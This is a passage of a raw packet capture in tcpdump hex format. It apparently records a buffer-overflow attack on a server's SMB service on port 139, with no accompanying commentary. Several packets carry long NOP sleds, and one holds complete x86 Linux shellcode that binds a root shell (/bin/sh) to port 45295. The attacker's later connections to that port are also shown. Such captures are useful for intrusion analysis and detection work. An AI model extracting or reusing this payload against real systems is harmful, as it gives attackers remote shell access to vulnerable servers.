0x0540      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0550      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0560      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0570      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0580      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0590      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05d0      9090 9090 9090 9090 9090 9090            ............
11:41:18.835613 XXX.XX.X.137.139 > XX.XX.XXX.164.34135: . ack 1563 win 8688 <nop,nop,timestamp 8427820 8865082> (DF)
0x0000      4500 0034 cb8f 4000 4006 3df9 800a 097d  E..4..@.@.=....}
0x0010      3e10 69a4 008b 8557 6f43 52e6 6989 6efe  >.i....WoCR.i.n.
0x0020      8010 21f0 2390 0000 0101 080a 0080 992c  ..!.#..........,
0x0030      0087 453a                                ..E:
11:41:18.835620 XXX.XX.X.137.139 > XX.XX.XXX.164.34135: . ack 1563 win 8688 <nop,nop,timestamp 8427820 8865082> (DF)
0x0000      4500 0034 cb8f 4000 4006 3df9 800a 097d  E..4..@.@.=....}
0x0010      3e10 69a4 008b 8557 6f43 52e6 6989 6efe  >.i....WoCR.i.n.
0x0020      8010 21f0 2390 0000 0101 080a 0080 992c  ..!.#..........,
0x0030      0087 453a                                ..E:
11:41:18.835665 XX.XX.XXX.164.34135 > XXX.XX.X.137.139: . 1563:3011(1448) ack 89 win 5840 <nop,nop,timestamp 8865082 8427800>NBT Packet (DF)
0x0000      4500 05dc 2cd6 4000 2f06 e80a 3e10 69a4  E...,.@./...>.i.
0x0010      800a 097d 8557 008b 6989 6efe 6f43 52e6  ...}.W..i.n.oCR.
0x0020      8010 16d0 b959 0000 0101 080a 0087 453a  .....Y........E:
0x0030      0080 9918 9090 9090 9090 9090 9090 9090  ................
0x0040      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0050      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0060      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0070      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0080      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0090      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0100      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0110      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0120      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0130      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0140      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0150      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0160      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0170      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0180      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0190      9090 9090 31c0 31db 31c9 51b1 0651 b101  ....1.1.1.Q..Q..
0x01a0      51b1 0251 89e1 b301 b066 cd80 89c1 31c0  Q..Q.....f....1.
0x01b0      31db 5050 5066 68b0 efb3 0266 5389 e2b3  1.PPPfh....fS...
0x01c0      1053 b302 5251 89ca 89e1 b066 cd80 31db  .S..RQ.....f..1.
0x01d0      39c3 7405 31c0 40cd 8031 c050 5289 e1b3  9.t.1.@..1.PR...
0x01e0      04b0 66cd 8089 d731 c031 db31 c9b3 11b1  ..f....1.1.1....
0x01f0      01b0 30cd 8031 c031 db50 5057 89e1 b305  ..0..1.1.PPW....
0x0200      b066 cd80 89c6 31c0 31db b002 cd80 39c3  .f....1.1.....9.
0x0210      7540 31c0 89fb b006 cd80 31c0 31c9 89f3  u@1.......1.1...
0x0220      b03f cd80 31c0 41b0 3fcd 8031 c041 b03f  .?..1.A.?..1.A.?
0x0230      cd80 31c0 5068 2f2f 7368 682f 6269 6e89  ..1.Ph//shh/bin.
0x0240      e38b 5424 0850 5389 e1b0 0bcd 8031 c040  ..T$.PS......1.@
0x0250      cd80 31c0 89f3 b006 cd80 eb99 9090 9090  ..1.............
0x0260      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0270      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0280      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0290      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0300      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0310      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0320      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0330      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0340      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0350      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0360      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0370      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0380      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0390      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0400      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0410      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0420      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0430      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0440      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0450      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0460      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0470      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0480      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0490      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0500      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0510      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0520      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0530      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0540      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0550      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0560      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0570      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0580      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0590      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05d0      9090 9090 9090 9090 9090 9090            ............
11:41:18.835667 XX.XX.XXX.164.34144 > XXX.XX.X.137.45295: S 1763616449:1763616449(0) win 5840 <mss 1460,sackOK,timestamp 8865082 0,nop,wscale 0> (DF)
0x0000      4500 003c e3fb 4000 2f06 3685 3e10 69a4  E..<..@./.6.>.i.
0x0010      800a 097d 8560 b0ef 691e a6c1 0000 0000  ...}.`..i.......
0x0020      a002 16d0 740a 0000 0204 05b4 0402 080a  ....t...........
0x0030      0087 453a 0000 0000 0103 0300            ..E:........
11:41:18.835762 XX.XX.XXX.164.34135 > XXX.XX.X.137.139: FP 3011:4114(1103) ack 89 win 5840 <nop,nop,timestamp 8865082 8427800>NBT Packet (DF)
0x0000      4500 0483 2cd7 4000 2f06 e962 3e10 69a4  E...,.@./..b>.i.
0x0010      800a 097d 8557 008b 6989 74a6 6f43 52e6  ...}.W..i.t.oCR.
0x0020      8019 16d0 1c4b 0000 0101 080a 0087 453a  .....K........E:
0x0030      0080 9918 9090 9090 9090 9090 9090 9090  ................
0x0040      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0050      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0060      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0070      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0080      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0090      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9000 0000  ................
0x0100      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0110      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0120      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0130      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0140      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0150      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0160      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0170      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0180      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0190      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0200      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0210      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0220      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0230      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0240      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0250      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0260      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0270      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0280      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0290      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0300      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0310      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0320      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0330      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0340      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0350      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0360      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0370      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0380      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0390      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0400      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0410      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0420      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0430      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0440      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0450      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0460      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0470      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0480      0000 00                                  ...
11:41:18.836336 XXX.XX.X.137.45295 > XX.XX.XXX.164.34144: S 1870835284:1870835284(0) ack 1763616450 win 5792 <mss 1460,sackOK,timestamp 8427820 8865082,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 b0ef 8560 6f82 ae54 691e a6c2  >.i....`o..Ti...
0x0020      a012 16a0 bca5 0000 0204 05b4 0402 080a  ................
0x0030      0080 992c 0087 453a 0103 0300            ...,..E:....
11:41:18.836341 XXX.XX.X.137.45295 > XX.XX.XXX.164.34144: S 1870835284:1870835284(0) ack 1763616450 win 5792 <mss 1460,sackOK,timestamp 8427820 8865082,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 b0ef 8560 6f82 ae54 691e a6c2  >.i....`o..Ti...
0x0020      a012 16a0 bca5 0000 0204 05b4 0402 080a  ................
0x0030      0080 992c 0087 453a 0103 0300            ...,..E:....
11:41:18.836872 XXX.XX.X.137.139 > XX.XX.XXX.164.34135: . ack 4115 win 8688 <nop,nop,timestamp 8427820 8865082> (DF)
0x0000      4500 0034 cb90 4000 4006 3df8 800a 097d  E..4..@.@.=....}
0x0010      3e10 69a4 008b 8557 6f43 52e6 6989 78f6  >.i....WoCR.i.x.
0x0020      8010 21f0 1998 0000 0101 080a 0080 992c  ..!............,
0x0030      0087 453a                                ..E:
11:41:18.836876 XXX.XX.X.137.139 > XX.XX.XXX.164.34135: . ack 4115 win 8688 <nop,nop,timestamp 8427820 8865082> (DF)
0x0000      4500 0034 cb90 4000 4006 3df8 800a 097d  E..4..@.@.=....}
0x0010      3e10 69a4 008b 8557 6f43 52e6 6989 78f6  >.i....WoCR.i.x.
0x0020      8010 21f0 1998 0000 0101 080a 0080 992c  ..!............,
0x0030      0087 453a                                ..E:
11:41:18.838262 XXX.XX.X.137.139 > XX.XX.XXX.164.34135: R 89:89(0) ack 4115 win 11584 <nop,nop,timestamp 8427820 8865082> (DF)
0x0000      4500 0034 cb91 4000 4006 3df7 800a 097d  E..4..@.@.=....}
0x0010      3e10 69a4 008b 8557 6f43 52e6 6989 78f6  >.i....WoCR.i.x.
0x0020      8014 2d40 0e44 0000 0101 080a 0080 992c  ..-@.D.........,
0x0030      0087 453a                                ..E:
11:41:18.838271 XXX.XX.X.137.139 > XX.XX.XXX.164.34135: R 89:89(0) ack 4115 win 11584 <nop,nop,timestamp 8427820 8865082> (DF)
0x0000      4500 0034 cb91 4000 4006 3df7 800a 097d  E..4..@.@.=....}
0x0010      3e10 69a4 008b 8557 6f43 52e6 6989 78f6  >.i....WoCR.i.x.
0x0020      8014 2d40 0e44 0000 0101 080a 0080 992c  ..-@.D.........,
0x0030      0087 453a                                ..E:
11:41:18.864725 XX.XX.XXX.164.34138 > XXX.XX.X.137.139: . ack 46 win 5840 <nop,nop,timestamp 8865098 8427804> (DF)
0x0000      4500 0034 ba7c 4000 2f06 600c 3e10 69a4  E..4.|@./.`.>.i.
0x0010      800a 097d 855a 008b 68ff ff17 6f3b fe1a  ...}.Z..h...o;..
0x0020      8010 16d0 f3f0 0000 0101 080a 0087 454a  ..............EJ
0x0030      0080 991c                                ....
11:41:18.864728 XX.XX.XXX.164.34138 > XXX.XX.X.137.139: P 51:115(64) ack 46 win 5840 <nop,nop,timestamp 8865098 8427804>NBT Packet (DF)
0x0000      4500 0074 ba7d 4000 2f06 5fcb 3e10 69a4  E..t.}@./._.>.i.
0x0010      800a 097d 855a 008b 68ff ff17 6f3b fe1a  ...}.Z..h...o;..
0x0020      8018 16d0 4f31 0000 0101 080a 0087 454a  ....O1........EJ
0x0030      0080 991c 0000 003c ff53 4d42 7000 0000  .......<.SMBp...
0x0040      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 5109 6400 0000 0000 0000 5c5c 6970  ..Q.d.......\\ip
0x0060      6324 256e 6f62 6f64 7900 0000 0000 0000  c$%nobody.......
0x0070      4950 4324                                IPC$
11:41:18.868819 XXX.XX.X.137.139 > XX.XX.XXX.164.34138: P 46:89(43) ack 115 win 5792 <nop,nop,timestamp 8427824 8865098>NBT Packet (DF)
0x0000      4500 005f 64f9 4000 4006 a464 800a 097d  E.._d.@.@..d...}
0x0010      3e10 69a4 008b 855a 6f3b fe1a 68ff ff57  >.i....Zo;..h..W
0x0020      8018 16a0 7d51 0000 0101 080a 0080 9930  ....}Q.........0
0x0030      0087 454a 0000 0027 ff53 4d42 7000 0000  ..EJ...'.SMBp...
0x0040      0080 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 5109 6400 0000 02ff ff01 0000 00    ..Q.d..........
11:41:18.868825 XXX.XX.X.137.139 > XX.XX.XXX.164.34138: P 46:89(43) ack 115 win 5792 <nop,nop,timestamp 8427824 8865098>NBT Packet (DF)
0x0000      4500 005f 64f9 4000 4006 a464 800a 097d  E.._d.@.@..d...}
0x0010      3e10 69a4 008b 855a 6f3b fe1a 68ff ff57  >.i....Zo;..h..W
0x0020      8018 16a0 7d51 0000 0101 080a 0080 9930  ....}Q.........0
0x0030      0087 454a 0000 0027 ff53 4d42 7000 0000  ..EJ...'.SMBp...
0x0040      0080 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 5109 6400 0000 02ff ff01 0000 00    ..Q.d..........
11:41:18.902218 XX.XX.XXX.164.34142 > XXX.XX.X.137.45295: . ack 1 win 5840 <nop,nop,timestamp 8865115 8427807> (DF)
0x0000      4500 0034 815e 4000 2f06 992a 3e10 69a4  E..4.^@./..*>.i.
0x0010      800a 097d 855e b0ef 68e4 c45a 6f44 ea67  ...}.^..h..ZoD.g
0x0020      8010 16d0 91f6 0000 0101 080a 0087 455b  ..............E[
0x0030      0080 991f                                ....
11:41:18.902280 XX.XX.XXX.164.34142 > XXX.XX.X.137.45295: F 1:1(0) ack 1 win 5840 <nop,nop,timestamp 8865115 8427807> (DF)
0x0000      4500 0034 815f 4000 2f06 9929 3e10 69a4  E..4._@./..)>.i.
0x0010      800a 097d 855e b0ef 68e4 c45a 6f44 ea67  ...}.^..h..ZoD.g
0x0020      8011 16d0 91f5 0000 0101 080a 0087 455b  ..............E[
0x0030      0080 991f                                ....
11:41:18.902705 XX.XX.XXX.164.34143 > XXX.XX.X.137.139: . ack 1 win 5840 <nop,nop,timestamp 8865115 8427807> (DF)
0x0000      4500 0034 39ea 4000 2f06 e09e 3e10 69a4  E..49.@./...>.i.
0x0010      800a 097d 855f 008b 69b2 7cef 6f23 b77b  ...}._..i.|.o#.{
0x0020      8010 16d0 bc04 0000 0101 080a 0087 455b  ..............E[
0x0030      0080 991f                                ....
11:41:18.902707 XX.XX.XXX.164.34143 > XXX.XX.X.137.139: P 1:51(50) ack 1 win 5840 <nop,nop,timestamp 8865115 8427807>NBT Packet (DF)
0x0000      4500 0066 39eb 4000 2f06 e06b 3e10 69a4  E..f9.@./..k>.i.
0x0010      800a 097d 855f 008b 69b2 7cef 6f23 b77b  ...}._..i.|.o#.{
0x0020      8018 16d0 21f2 0000 0101 080a 0087 455b  ....!.........E[
0x0030      0080 991f 0000 002e ff53 4d42 7300 0000  .........SMBs...
0x0040      0008 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 5309 6400 0100 00ff 0000 0000 2002  ..S.d...........
0x0060      0001 0000 0000                           ......
11:41:18.903701 XXX.XX.X.137.139 > XX.XX.XXX.164.34143: . ack 51 win 5792 <nop,nop,timestamp 8427828 8865115> (DF)
0x0000      4500 0034 2e4f 4000 4006 db39 800a 097d  E..4.O@.@..9...}
0x0010      3e10 69a4 008b 855f 6f23 b77b 69b2 7d21  >.i...._o#.{i.}!
0x0020      8010 16a0 bbed 0000 0101 080a 0080 9934  ...............4
0x0030      0087 455b                                ..E[
11:41:18.903709 XXX.XX.X.137.139 > XX.XX.XXX.164.34143: . ack 51 win 5792 <nop,nop,timestamp 8427828 8865115> (DF)
0x0000      4500 0034 2e4f 4000 4006 db39 800a 097d  E..4.O@.@..9...}
0x0010      3e10 69a4 008b 855f 6f23 b77b 69b2 7d21  >.i...._o#.{i.}!
0x0020      8010 16a0 bbed 0000 0101 080a 0080 9934  ...............4
0x0030      0087 455b                                ..E[
11:41:18.912345 XXX.XX.X.137.45295 > XX.XX.XXX.164.34142: . ack 2 win 5792 <nop,nop,timestamp 8427829 8865115> (DF)
0x0000      4500 0034 7353 4000 4006 9635 800a 097d  E..4sS@.@..5...}
0x0010      3e10 69a4 b0ef 855e 6f44 ea67 68e4 c45b  >.i....^oD.gh..[
0x0020      8010 16a0 920f 0000 0101 080a 0080 9935  ...............5
0x0030      0087 455b                                ..E[
11:41:18.912352 XXX.XX.X.137.45295 > XX.XX.XXX.164.34142: . ack 2 win 5792 <nop,nop,timestamp 8427829 8865115> (DF)
0x0000      4500 0034 7353 4000 4006 9635 800a 097d  E..4sS@.@..5...}
0x0010      3e10 69a4 b0ef 855e 6f44 ea67 68e4 c45b  >.i....^oD.gh..[
0x0020      8010 16a0 920f 0000 0101 080a 0080 9935  ...............5
0x0030      0087 455b                                ..E[
11:41:18.916244 XXX.XX.X.137.139 > XX.XX.XXX.164.34143: P 1:46(45) ack 51 win 5792 <nop,nop,timestamp 8427829 8865115>NBT Packet (DF)
0x0000      4500 0061 2e50 4000 4006 db0b 800a 097d  E..a.P@.@......}
0x0010      3e10 69a4 008b 855f 6f23 b77b 69b2 7d21  >.i...._o#.{i.}!
0x0020      8018 16a0 3e66 0000 0101 080a 0080 9935  ....>f.........5
0x0030      0087 455b 0000 0029 ff53 4d42 7300 0000  ..E[...).SMBs...
0x0040      0088 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 5309 6400 0100 03ff 0000 0001 0000  ..S.d...........
0x0060      00                                       .
11:41:18.916253 XXX.XX.X.137.139 > XX.XX.XXX.164.34143: P 1:46(45) ack 51 win 5792 <nop,nop,timestamp 8427829 8865115>NBT Packet (DF)
0x0000      4500 0061 2e50 4000 4006 db0b 800a 097d  E..a.P@.@......}
0x0010      3e10 69a4 008b 855f 6f23 b77b 69b2 7d21  >.i...._o#.{i.}!
0x0020      8018 16a0 3e66 0000 0101 080a 0080 9935  ....>f.........5
0x0030      0087 455b 0000 0029 ff53 4d42 7300 0000  ..E[...).SMBs...
0x0040      0088 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 5309 6400 0100 03ff 0000 0001 0000  ..S.d...........
0x0060      00                                       .
11:41:18.926883 XXX.XX.X.137.45295 > XX.XX.XXX.164.34142: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 8427830 8865115> (DF)
0x0000      4500 0034 7354 4000 4006 9634 800a 097d  E..4sT@.@..4...}
0x0010      3e10 69a4 b0ef 855e 6f44 ea67 68e4 c45b  >.i....^oD.gh..[
0x0020      8011 16a0 920d 0000 0101 080a 0080 9936  ...............6
0x0030      0087 455b                                ..E[
11:41:18.926891 XXX.XX.X.137.45295 > XX.XX.XXX.164.34142: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 8427830 8865115> (DF)
0x0000      4500 0034 7354 4000 4006 9634 800a 097d  E..4sT@.@..4...}
0x0010      3e10 69a4 b0ef 855e 6f44 ea67 68e4 c45b  >.i....^oD.gh..[
0x0020      8011 16a0 920d 0000 0101 080a 0080 9936  ...............6
0x0030      0087 455b                                ..E[
11:41:18.968811 XX.XX.XXX.164.34141 > XXX.XX.X.137.139: . ack 46 win 5840 <nop,nop,timestamp 8865150 8427815> (DF)
0x0000      4500 0034 796f 4000 2f06 a119 3e10 69a4  E..4yo@./...>.i.
0x0010      800a 097d 855d 008b 69a2 3df1 6f31 6964  ...}.]..i.=.o1id
0x0020      8010 16d0 48f3 0000 0101 080a 0087 457e  ....H.........E~
0x0030      0080 9927                                ...'
11:41:18.969076 XX.XX.XXX.164.34141 > XXX.XX.X.137.139: P 51:115(64) ack 46 win 5840 <nop,nop,timestamp 8865150 8427815>NBT Packet (DF)
0x0000      4500 0074 7970 4000 2f06 a0d8 3e10 69a4  E..typ@./...>.i.
0x0010      800a 097d 855d 008b 69a2 3df1 6f31 6964  ...}.]..i.=.o1id
0x0020      8018 16d0 a333 0000 0101 080a 0087 457e  .....3........E~
0x0030      0080 9927 0000 003c ff53 4d42 7000 0000  ...'...<.SMBp...
0x0040      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 5209 6400 0000 0000 0000 5c5c 6970  ..R.d.......\\ip
0x0060      6324 256e 6f62 6f64 7900 0000 0000 0000  c$%nobody.......
0x0070      4950 4324                                IPC$
11:41:18.971863 XX.XX.XXX.164.34136 > XXX.XX.X.137.139: . 115:1563(1448) ack 89 win 5840 <nop,nop,timestamp 8865151 8427816>NBT Packet (DF)
0x0000      4500 05dc d400 4000 2f06 40e0 3e10 69a4  E.....@./.@.>.i.
0x0010      800a 097d 8558 008b 6949 9806 6f77 0b12  ...}.X..iI..ow..
0x0020      8010 16d0 b583 0000 0101 080a 0087 457f  ..............E.
0x0030      0080 9928 0004 0830 ff53 4d42 3200 0000  ...(...0.SMB2...
0x0040      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 0000 6400 0000 00d0 070c 00d0 070c  ....d...........
0x0060      0000 0000 0000 0000 0000 00d0 0743 000c  .............C..
0x0070      0014 0801 0000 0000 0000 0000 0000 0000  ................
0x0080      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0090      0000 0090 0090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0100      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0110      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0120      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0130      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0140      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0150      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0160      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0170      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0180      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0190      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0200      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0210      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0220      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0230      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0240      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0250      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0260      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0270      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0280      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0290      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0300      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0310      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0320      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0330      9090 9090 9090 9090 9090 9090 9090 9090  ................
